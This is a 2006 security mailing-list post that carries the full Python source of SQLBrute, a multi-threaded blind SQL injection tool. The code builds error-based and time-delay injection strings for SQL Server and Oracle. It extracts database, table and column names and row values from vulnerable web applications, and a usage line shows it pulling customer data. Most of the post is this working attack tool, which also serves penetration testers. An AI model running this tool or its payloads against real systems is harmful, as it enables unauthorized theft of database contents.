From: SecuriTeam <support@securiteam.com.>
To: [email protected]
Date: 27 Mar 2006 18:09:21 +0200
Subject: [TOOL] SQLBrute - Multi Threaded Blind SQL Injection Bruteforcer
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-Id: <20060327163454.E915D57D9@mail.tyumen.ru.>
X-Virus-Scanned: antivirus-gw at tyumen.ru
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
SQLBrute - Multi Threaded Blind SQL Injection Bruteforcer
------------------------------------------------------------------------
SUMMARY
DETAILS
Tool source:
#!/bin/sh
''':'
exec python -O -u "$0" ${1+"$@"}
' '''
# SQLBrute - multi threaded blind SQL injection bruteforcer
# By Justin Clarke, justin at justinclarke dot com
#
# Algorithm originally from the original by Kerry Rollins
#
# This version does regex based (error/no error) bruteforcing and waitfor
delay testing
#
# There is a page documenting how to use this tool at:
# http://www.justinclarke.com/archives/2006/03/sqlbrute.html
Version = "032306"
# todo
# - tidy up the query assembly methods
# - implement < and > matching
# - rewrite connection methods to use pycurl and get more efficient
connection handling
# - implement database detection
# - multiple columns?
import threading
import Queue
import sys
import getopt
import string
import urllib
import cgi
import time
import re
# Set some globals
# dictionary for tracking threads and pycurl handles
handles = {}
handleLock = threading.Lock()
sslSupport = True
# use pycurl if installed
try:
import pycurl2 # currently disabled
sendlayer = "pycurl"
except ImportError:
import urllib2
sendlayer = "urllib2"
# see if SSL support is compiled in for urllib2
if sendlayer == "urllib2":
try:
import _ssl
except ImportError:
print "SSL support not installed - https will not be available"
sslSupport = False
# consume some signals for pycurl
try:
import signal
from signal import SIGPIPE, SIG_IGN
signal.signal(signal.SIGPIPE, signal.SIG_IGN)
except ImportError:
pass
#
# class to manage the threading. No actual stuff is done in here - we pass
function names and args
#
# Adapted from Python in a Nutshell (excellent book)
#
class Worker(threading.Thread): # inherits the Thread class
requestID = 0 # each thread has a request ID so we can match responses
# constructor - takes two queues as parameters (overrides threading
constructor)
def __init__(self, requestsQueue, resultsQueue, threadNumber, **kwds):
threading.Thread.__init__(self, **kwds)
self.setDaemon(1) # run in background
self.workRequestQueue = requestsQueue
self.resultQueue = resultsQueue
self.setName(threadNumber)
if sendlayer == "pycurl":
handleLock.acquire() # don't want to update the dictionary
simultaneously from multiple threads
handles[threadNumber] = pycurl.Curl() # libcurl handle for this
thread
handleLock.release()
self.start() # start the thread
# call the function here - pass in the function and parameters
def performWork(self, callable, *args, **kwds):
Worker.requestID += 1
self.workRequestQueue.put((Worker.requestID, callable, args, kwds))
return Worker.requestID
def run(self): # override run
while 1:
requestID, callable, args, kwds = self.workRequestQueue.get()
self.resultQueue.put((requestID,
callable(*args+(int(self.getName()),), **kwds)))
class sqlbrute:
# User variables - change if you want
num = 10 # default number of worker threads
targeturl = ""
cookie = ""
verb = ""
verbose = 0
postdata = ""
table = ""
cols = ""
headers = [["User-Agent","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.0)"]]
wherecol = ""
whereval = ""
dbenum = False # default to enumerating tables from current database
enumtype = "" # by default, tables will be enumerated from current
database
dbtype = "sqlserver"
errorregex = ""
targeturl = ""
timetrack = time.time()
timeout = 60 # timeout to wait for responses before exiting tool
database = "" # database to use (instead of default)
andor = " OR " # default to "or" mode. either "or" or "and"
# specifies this is going to be select * from foo where 1=2
_and_ <exploit string>
method = "error" # method of testing - error or time based
outputfile = ""
if sys.platform == "win32": # timing is unreliable in python.org win32
version. I'd use linux for now
waitfor = 10
else:
waitfor = 7
if sys.platform == "win32":
waitres = 5 # time.time() is hideously unreliable in windows
else:
waitres = 5
tablesource = "sysobjects" # name of source to initially query
namecol = "name" # column used for the database name
substrfn = "SUBSTRING" # substring for SQL, substr for oracle
reqcounter = 0 # number of test requests received
testcounter = 0 # counter to track that requests have passed and failed
appropriately
testvar = 0
requestsQueue = Queue.Queue()
resultsQueue = Queue.Queue()
# add any additional characters you need matched to this list
matches =
["e","t","a","o","i","n","s","r","h","l","d","u","c","f","m","w","y","g","p","b","v", "k","x","j","q","z","0","1","2","3","4","5","6","7","8","9","-",".","[_]","+","#","@","$"]
def usage(self):
print """
___ _____ __ ____ ____ __ __ ____ ____
/ __)( _ )( ) ( _ \( _ \( )( )(_ _)( ___)
\__ \ )(_)( )(__ ) _ < ) / )(__)( )( )__)
(___/(___/\\\\(____)(____/(_)\_)(______) (__) (____)
"""
print "v.%s" % Version
print """
Usage: %s options url
[--help|-h] - this help
[--verbose|-v] - verbose mode
[--server|-d oracle|sqlserver] - type of database server (default MS
SQL Server)
[--error|-e regex] - regex to recognize error page (error testing
only)
[--threads|-s number] - number of threads (default 10)
[--cookie|-k string] - cookies needed
[--time|-n] - force time delay (waitfor) testing
[--data|-p string] - POST data
[--database|-f database] - database to enumerate data from (SQL
Server)
[--table|-t table] - table to extract data from
[--column|-c column] - column to extract data from
[--where|-w column=data] - restrict data returned to rows where
column "column" matches "data"
[--header|-x header::val] - header to add to the request (i.e.
Referer::http://foobar/blah.asp)
[--output|-o file] - file to send output to
Note: exploit will go on the end of the query or post data. This must be
correctly formatted for a SQL subquery to be appended.
""" % sys.argv[0]
print '''e.g. %s --data "searchtype=county&county=1'" --error "NO
RESULTS" --database webapp --table customer --column custnum --where
password=password http://webapp/page.asp''' % sys.argv[0]
# buyer beware if you change anything below - execution starts here
def main(self, argv=None):
if argv is None:
argv = sys.argv
try:
try:
opts, args = getopt.getopt(argv[1:], "hvs:k:f:np:x:d:t:c:w:e:o:",
\
["help","verbose","server=","header=","error=","threads=","cookie=",
"database=","time","data=","table=","column=","where=","output="])
if len(args) <> 1: # 1 arg is the URL
print "Args <> 1"
raise getopt.error
except:
raise getopt.error
self.targeturl = args
if sslSupport == False and re.search(r'https://', self.targeturl):
print "You don't seem to have SSL support installed, so no https
URLs for you"
return 1
for o,a in opts:
if o in ("-v", "--verbose"):
self.verbose += 1
if o in ("-x", "--header"):
self.headers += [a.split("::",1)]
if o in ("-k", "--cookie"):
self.cookie = a
if o in ("-h", "--help"):
self.usage()
return 1
if o in ("-p", "--data"):
self.postdata = a
self.verb = "POST"
if o in ("-n", "--time"):
self.method = "time"
if o in ("-s", "--threads"):
self.num = int(a)
if self.num < 1:
print "Threads must be at least 1"
return 1
if o in ("-d", "--server"):
if a == "oracle": self.dbtype = a
if a == "sqlserver": self.dbtype = a
if o in ("-t", "--table"):
self.table = a
if o in ("-c","--column"):
self.cols = a
if o in ("-w", "--where"):
temp = a.split("=",1)
self.wherecol = temp[0]
self.whereval = temp[1]
if o in ("-e", "--error"):
self.errorregex = a
self.method = "error"
if o in ("-f", "--database"):
self.database = a
if o in ("-o", "--output"):
self.outputfile = a
if self.cols<>"":
if self.table=="":
print "If requesting column data, you must specify table"
return 1
if not self.errorregex:
self.errorregex = r"(error|could not process)"
if not self.verb:
self.verb = "GET"
if (self.verb == "POST" and not self.postdata):
print "Specify some POST data"
return 1
if self.enumtype=="":
if self.table=="" and self.cols=="":
if self.dbtype == "sqlserver" and not self.database:
self.enumtype="database"
else:
self.enumtype="table"
else:
if self.table<>"" and self.cols=="":
self.enumtype="column"
else:
self.enumtype="data"
if self.dbtype=="oracle":
self.substrfn = "SUBSTR"
self.tablesource = "USER_TABLES"
self.namecol = "TABLE_NAME"
if self.verbose:
print "Database type: %s" % self.dbtype
print "Table: %s" % self.table
print "Columns: ", self.cols
print "Enumeration mode: %s" % self.enumtype
print "Threads: %d" % self.num
if self.database and self.dbtype=="oracle":
print "Database specification is not valid for Oracle"
return 1
if self.database != "": # add .. for between database and table
self.database += ".."
except:
print "Incorrect options usage"
self.usage()
return 1
# create worker classes to assign work to later
for i in range(self.num):
self.worker = Worker(self.requestsQueue, self.resultsQueue, i)
# keep track of what we send off to the queues
self.workRequests = {}
# if sendlayer=="urllib2":
# print """
#***pycurl not found***
#Defaulting to Python urllib2
#Consider installing pycurl from http://pycurl.sourceforge.net -- it's
faster
#"""
if self.verbose:
print "Testing the application to ensure your options work\n"
if self.method == "error":
self.testvar = self.testexploiterror()
else:
self.testvar = self.testexploittime()
if self.testvar==1:
print """
To troubleshoot:
1) try using -v to see that the queries are correctly formatted
2) try using -vv to get the responses printed to the screen
3) fix your broken url/post data
4) check the error value you are using
5) you've specified the correct database type haven't you?"""
return(1)
print "This program will currently exit " + str(self.timeout) + "
seconds after the last response comes in."
for i in self.matches:
if self.method == "error":
self.gentesterror(i)
else:
self.gentesttime(i)
self.showResults()
def postReformat(self, postdata):
return urllib.urlencode(cgi.parse_qsl(postdata))
def querystringReformat(self, qsdata):
temp = qsdata.split("?")
if len(temp) == 2:
return temp[0] + "?" + urllib.urlencode(cgi.parse_qsl(temp[1]))
else:
return qsdata
def doRequest(self, expressionString, exploitdata, match, type,
threadName):
while True:
if sendlayer == "pycurl":
handleLock.acquire() # don't want to update the dictionary
simultaneously from multiple threads
thisHandle = handles[threadName] # libcurl handle for this thread
handleLock.release()
resp = open(str(threadName), "wb")
if self.verb == "GET":
if sendlayer == "urllib2":
req =
urllib2.Request(self.querystringReformat(expressionString))
else:
thisHandle.setopt(pycurl.URL,
self.querystringReformat(expressionString))
else:
if sendlayer == "urllib2":
req =
urllib2.Request(self.querystringReformat(expressionString),
self.postReformat(exploitdata))
else:
thisHandle.setopt(pycurl.URL, expressionString)
thisHandle.setopt(pycurl.POSTFIELDS,
self.postReformat(exploitdata))
if self.cookie<>"":
if sendlayer == "urllib2":
req.add_header("Cookie",self.cookie)
else:
thisHandle.setopt(pycurl.HTTPHEADER, self.cookie) # reformat
cookie?
if self.headers<>[[]]:
for i in self.headers:
if sendlayer == "urllib2":
req.add_header(i[0],i[1])
else:
thisHandle.setopt(pycurl.HTTPHEADER, i) # reformat headers?
try:
starttime = time.time() # get time at start of request
if sendlayer == "urllib2":
resp = urllib2.urlopen(req)
else:
thisHandle.setopt(pycurl.WRITEDATA, resp)
thisHandle.setopt(pycurl.NOSIGNAL, 1)
thisHandle.setopt(pycurl.CONNECTTIMEOUT, 30)
thisHandle.setopt(pycurl.TIMEOUT, 300)
thisHandle.perform()
except urllib2.HTTPError,err: # catch an HTTP 500 error or similar
here
return err.read(), match, type, starttime, time.time()
except:
import traceback
traceback.print_exc(file=sys.stderr)
sys.stderr.flush()
print "Unexpected error on: %s %s - Retrying in 5 seconds" %
(expressionString,exploitdata)
time.sleep(5)
else:
if sendlayer == "urllib2":
return resp.read(), match, type, starttime, time.time()
else:
#temp = resp.read()
#resp.close()
return resp.read(), match, type, starttime, time.time()
def testexploiterror(self):
if self.dbtype=="sqlserver":
positivestring = self.andor + "exists (select * from
master..sysdatabases)--"
negativestring = self.andor + "not exists (select * from
master..sysdatabases)--"
if self.dbtype=="oracle":
positivestring = self.andor + "exists (select * from USER_TABLES)--"
negativestring = self.andor + "not exists (select * from
USER_TABLES)--"
self.genreq(positivestring, "", False)
self.genreq(negativestring, "", False)
while self.reqcounter != 2:
try:
id, results = self.resultsQueue.get_nowait()
except Queue.Empty:
if (time.time() - self.timetrack) > self.timeout: # if its been >
(timeout) seconds since last successful resp
print "Timed out accessing application\n"
return(1)
else:
continue
self.timetrack = time.time() # update record of last successful
response
self.reqcounter += 1 # update number of requests received
if self.verbose>1:
print 'Result %d: -> %s' % (id,
urllib.unquote(self.workRequests[id]))
print 'Response: %s' % results[0]
print 'Results: %s, %s' % (results[1], results[2])
if not re.search(self.errorregex,results[0]) : # no error returned
self.testcounter += 1 # increment counter 1 if no error returned
if self.verbose>1:
print "No Error"
else: # error returned
self.testcounter += 2 # increment counter 2 is error returned
if self.verbose>1:
print "Error"
if self.testcounter == 3: # one failed, one passed request (success!)
if self.verbose:
print "Exploit and parameters appear to work\n"
return(0)
else: # failed :-(
if self.andor == " OR ": # if we were using or, try changing to AND
if self.verbose:
print "OR doesn't appear to work - trying AND"
self.andor = " AND "
self.reqcounter = 0
self.testcounter = 0
return (self.testexploiterror())
else:
print "User input exploit and parameters do not appear to work for
error testing - trying time testing\n"
return(self.testexploittime())
def testexploittime(self):
teststring = "%3Bwaitfor delay '0:0:" + str(self.waitfor) + "'--"
self.genreq(teststring, "", False)
waiting = True
while waiting:
try:
id, results = self.resultsQueue.get_nowait()
except Queue.Empty:
continue
waiting = False
if self.verbose>1:
print 'Result %d: -> %s' % (id,
urllib.unquote(self.workRequests[id]))
print 'Response: %s' % results[0]
print 'Start time: %s' % results[3]
print 'Finish time: %s' % results[4]
if results[4]-results[3] > (self.waitfor-self.waitres): # time
testing worked
self.method = "time"
elapsed = results[4] - results[3]
if elapsed > (self.waitfor * 2): # slow app
self.timeout *= (elapsed/self.waitfor)
if self.verbose:
print "Exploit and parameters appear to work for time testing\n"
return(0)
else: # failed :-(
print "User input exploit and parameters do not appear to work for
time testing\n"
return(1)
# generate checks - these get multithreaded on the queue
def genreq(self, request, match, type):
if self.verb == "GET": # standard GET request- exploit querystring
expressionString = self.targeturl[0] + request
exploitdata=""
elif (self.verb == "GET" and self.postdata): # post request, but
exploit querystring
expressionString = self.targeturl[0] + request
exploitdata = self.postdata
else:
expressionString = self.targeturl[0] # standard post request,
exploit post data
exploitdata = self.postdata + request
id = self.worker.performWork(self.doRequest, expressionString,
exploitdata, match, type)
if self.verb == "GET":
self.workRequests[id] = expressionString
else:
self.workRequests[id] = exploitdata
# handle underscores
def unquote(self, s):
return re.sub(r'\[\_\]','_',s)
# generate the testing string as a series of CHAR()+CHAR or
CONCAT(CHR(),CHR()) strings
def genchars(self, s):
t = self.unquote(s)
foo = len(t)
if self.dbtype=="oracle": # use concat statements for oracle
if foo==1: # one character - no concat
bar = "CHR("+str(ord(t[0].upper()))+")"
else: # generate one concat statement
if foo==2:
bar =
"CONCAT(CHR("+str(ord(t[0].upper()))+"),CHR("+str(ord(t[1].upper()))+"))"
else: # generate mutiple statements
bar = ""
for i in range((foo-1)):
bar += "CONCAT(CHR("+str(ord(t[i].upper()))+"),"
bar += "CHR("+str(ord(t[foo-1].upper()))+")"
for i in range(foo-1):
bar += ")"
else: # sql server, so use + signs for concatentation
if foo==1: # one char
bar = "CHAR("+str(ord(t[0].upper()))+")"
else: # generate CHAR()+CHAR() statements
bar = ""
for i in range((foo-1)):
bar += "CHAR("+str(ord(t[i].upper()))+")%2B"
bar += "CHAR("+str(ord(t[foo-1].upper()))+")"
return bar
# generate the guess cases - error
def gentesterror(self, s):
foo = ""
if self.dbtype == "sqlserver":
foo = "xtype='u' and "
# SQL injection constructors - these assume we can just add these onto
the end of the URL or post data
if self.enumtype=="database": # sql server only
pretable = self.andor + "exists (select * from master..sysdatabases
where " + self.substrfn + "(UPPER(" + self.namecol + "),1,"
midtable = ")="
posttable = ")--"
if self.enumtype=="table":
pretable = self.andor + "exists (select * from " + self.database +
self.tablesource + " where " + foo + self.substrfn + "(UPPER(" +
self.namecol + "),1,"
midtable = ")="
posttable = ")--"
if self.enumtype=="column":
if self.dbtype=="sqlserver":
pretable = self.andor + "exists (select * from " + self.database +
"syscolumns where id = object_id('" + self.database + self.table + "') and
" + self.substrfn + "(UPPER(" + self.namecol + "),1,"
midtable = ")="
posttable = ")--"
else:
pretable = self.andor + "exists (select * from ALL_TAB_COLUMNS
where TABLE_NAME=UPPER('" + self.table + "') and " + self.substrfn +
"(UPPER(COLUMN_NAME),1,"
midtable = ")="
posttable = ")--"
if self.enumtype=="data":
if self.dbtype=="sqlserver":
if self.wherecol == "": # no where clause supplied
pretable = self.andor + "exists (select * from " + self.database
+ self.table + " where " + self.substrfn + "(UPPER(convert(varchar," +
self.cols + ",2)),1,"
else: # where clause supplied
pretable = self.andor + "exists (select * from " + self.database
+ self.table + " where " + self.wherecol + "='" + self.whereval + "' and "
+ self.substrfn + "(UPPER(convert(varchar," + self.cols + ",2)),1,"
midtable = ")="
posttable = ")--"
else: # oracle
if self.wherecol == "": # no where clause supplied
pretable = self.andor + "exists (select * from " + self.table +
" where " + self.substrfn + "(UPPER(TO_CHAR(" + self.cols + ")),1,"
else: # where clause supplied
pretable = self.andor + "exists (select * from " + self.table +
" where " + self.wherecol + "='" + self.whereval + "' and " +
self.substrfn + "(UPPER(TO_CHAR(" + self.cols + ")),1,"
midtable = ")="
posttable = ")--"
teststring = self.genchars(s)
self.genreq(pretable + str(len(self.unquote(s))) + midtable +
teststring + posttable, s, True)
# generate test cases - time
def gentesttime(self, s):
prewaitforlike = "%3Bif EXISTS (select name from master..sysdatabases
where name like '"
postwaitfor = "%') waitfor delay '0:0:" + str(self.waitfor) + "'--"
predblike = "%3Bif EXISTS (select name from " + self.database +
"sysobjects where xtype = 'u' and name like '"
pretablike = "%3Bif EXISTS (select name from " + self.database +
"syscolumns where id in (select id from " + self.database + "sysobjects
where name = '" + self.table + "') and name like '"
if self.whereval=="": # enumerating values in a specific column
predatalike = "%3Bif EXISTS (select * from " + self.database +
self.table + " where CONVERT(varchar," + self.cols + ",2) like '"
else:
prejoinlike = "%3Bif EXISTS (select * from " + self.database +
self.table + " where CONVERT(varchar," + self.wherecol + ",2) = '" +
self.whereval + "' AND CONVERT(varchar," + self.cols + ",2) like '"
if self.enumtype=="database":
self.genreq(prewaitforlike + s + postwaitfor, s, True)
if self.enumtype=="table":
self.genreq(predblike + s + postwaitfor, s, True)
if self.enumtype=="column":
self.genreq(pretablike + s + postwaitfor, s, True)
if self.enumtype=="data":
if self.whereval=="":
self.genreq(predatalike + s + postwaitfor,s,True)
else:
self.genreq(prejoinlike + s + postwaitfor,s,True)
def checkmatchtime(self, s):
prewaitforequals = "%3Bif EXISTS (select name from
master..sysdatabases where name = '"
postwaitforequals = "') waitfor delay '0:0:" + str(self.waitfor) +
"'--"
predbequals = "%3Bif EXISTS (select name from " + self.database +
"sysobjects where xtype = 'u' and name = '"
pretabequals = "%3Bif EXISTS (select name from " + self.database +
"syscolumns where id in (select id from " + self.database + "sysobjects
where name = '" + self.table + "') and name = '"
if self.whereval=="": # enumerating values in a specific column
predataequals = "%3Bif EXISTS (select * from " + self.database +
self.table + " where CONVERT(varchar," + self.cols + ",2) = '"
else:
prejoinequals = "%3Bif EXISTS (select * from " + self.database +
self.table + " where CONVERT(varchar," + self.wherecol + ",2) = '" +
self.whereval + "' AND CONVERT(varchar, " + self.cols + ",2) = '"
if self.enumtype=="database":
self.genreq(prewaitforequals + self.unquote(s) + postwaitforequals,
s, False)
if self.enumtype=="table":
self.genreq(predbequals + self.unquote(s) + postwaitforequals, s,
False)
if self.enumtype=="column":
self.genreq(pretabequals + self.unquote(s) + postwaitforequals, s,
False)
if self.enumtype=="data":
if self.whereval=="":
self.genreq(predataequals + self.unquote(s) + postwaitforequals,
s, False)
else:
self.genreq(prejoinequals + self.unquote(s) + postwaitforequals,
s, False)
# generate check for whether we have an exact match (error testing)
def checkmatcherror(self, s):
foo = ""
if self.dbtype == "sqlserver":
foo = "xtype='u' and "
# SQL injection constructors - these assume we can just add these onto
the end of the URL or post data
if self.enumtype=="database": # only valid for sql server
pretable = self.andor + "exists (select * from master..sysdatabases
where UPPER(" + self.namecol + ")="
posttable = ")--"
if self.enumtype=="table":
pretable = self.andor + "exists (select * from " + self.database +
self.tablesource + " where UPPER(" + self.namecol +")="
posttable = " )--"
if self.enumtype=="column":
if self.dbtype=="sqlserver":
pretable = self.andor + "exists (select * from " + self.database +
"syscolumns where id = object_id(" + self.genchars(self.database +
self.table) + ") and UPPER(" + self.namecol + ")="
posttable = ")--"
else:
pretable = self.andor + "exists (select * from ALL_TAB_COLUMNS
where TABLE_NAME=UPPER(" + self.genchars(self.table) + ") and
UPPER(COLUMN_NAME)="
posttable = ")--"
if self.enumtype=="data":
if self.dbtype=="sqlserver":
if self.wherecol == "": # no where clause supplied
pretable = self.andor + "exists (select * from " + self.database
+ self.table + " where UPPER(convert(varchar," + self.cols + ",2))="
else: # where clause supplied
pretable = self.andor + "exists (select * from " + self.database
+ self.table + " where " + self.wherecol + "=" +
self.genchars(self.whereval) + " and UPPER(convert(varchar," + self.cols +
",2))="
posttable = ")--"
else: # oracle
if self.wherecol == "": # no where clause supplied
pretable = self.andor + "exists (select * from " + self.table +
" where UPPER(TO_CHAR(" + self.cols + "))="
else: # where clause supplied
pretable = self.andor + "exists (select * from " + self.table +
" where " + self.wherecol + "=" + self.genchars(self.whereval) + " and
UPPER(TO_CHAR(" + self.cols + "))="
midtable = ")="
posttable = ")--"
teststring = self.genchars(s)
self.genreq(pretable + teststring + posttable, s, False)
# used to check results and exact checks
def showResults(self):
self.timetrack = time.time()
while True:
try:
id, results = self.resultsQueue.get_nowait()
except Queue.Empty:
if (time.time() - self.timetrack) > self.timeout: # if its been >
(timeout) seconds since last successful resp
break
else:
continue
self.timetrack = time.time() # update record of last successful
response
if self.verbose>1:
print 'Result %d: -> %s' % (id,
urllib.unquote(self.workRequests[id]))
print 'Results: %s, %s' % (results[1], results[2])
print 'Start time: %s' % results[3]
print 'Finish time: %s' % results[4]
if self.verbose>2:
print 'Response: %s' % results[0]
if self.method == "error": # if using error testing
if not re.search(self.errorregex,results[0]) : # no error returned
if self.verbose > 1:
print 'No error'
if results[2]: # if a guess match test
if self.verbose:
print "%s" % self.unquote(results[1])
self.checkmatcherror(results[1])
else:
print "Found: %s" % self.unquote(results[1])
for i in self.matches:
self.gentesterror(results[1]+i)
if self.outputfile != "":
outputhandle = file(self.outputfile, 'a', 0)
outputhandle.write(self.unquote(results[1])+"\r\n")
outputhandle.close()
else: # no match
if self.verbose > 1:
print 'Error detected'
if not results[2]: # if was an exact match test (and failed)
generate more
for i in self.matches:
self.gentesterror(results[1]+i)
else: # if time based testing
if results[4]-results[3] > (self.waitfor-self.waitres): # we had a
match
if results[2]: # guess match test
if self.verbose:
print "%s" % self.unquote(results[1])
self.checkmatchtime(results[1])
else: # exact match test
print "Found: %s" % self.unquote(results[1])
for i in self.matches:
self.gentesttime(results[1]+i)
if self.outputfile != "":
outputhandle = file(self.outputfile, 'a', 0)
outputhandle.write(self.unquote(results[1])+"\r\n")
outputhandle.close()
else: # no match
if not results[2]: # if it was an exact match condition (and
failed) - iterate further
for i in self.matches:
self.gentesttime(results[1]+i)
# main called here
if __name__ == "__main__":
instance = sqlbrute()
sys.exit(instance.main())
ADDITIONAL INFORMATION
The information has been provided by <mailto:justin@justinclarke.com.>
Justin Clarke.
The original article can be found at:
<http://www.justinclarke.com/archives/2006/03/sqlbrute.html>
http://www.justinclarke.com/archives/2006/03/sqlbrute.html
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: [email protected]
In order to subscribe to the mailing list, simply forward this email to: [email protected]
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.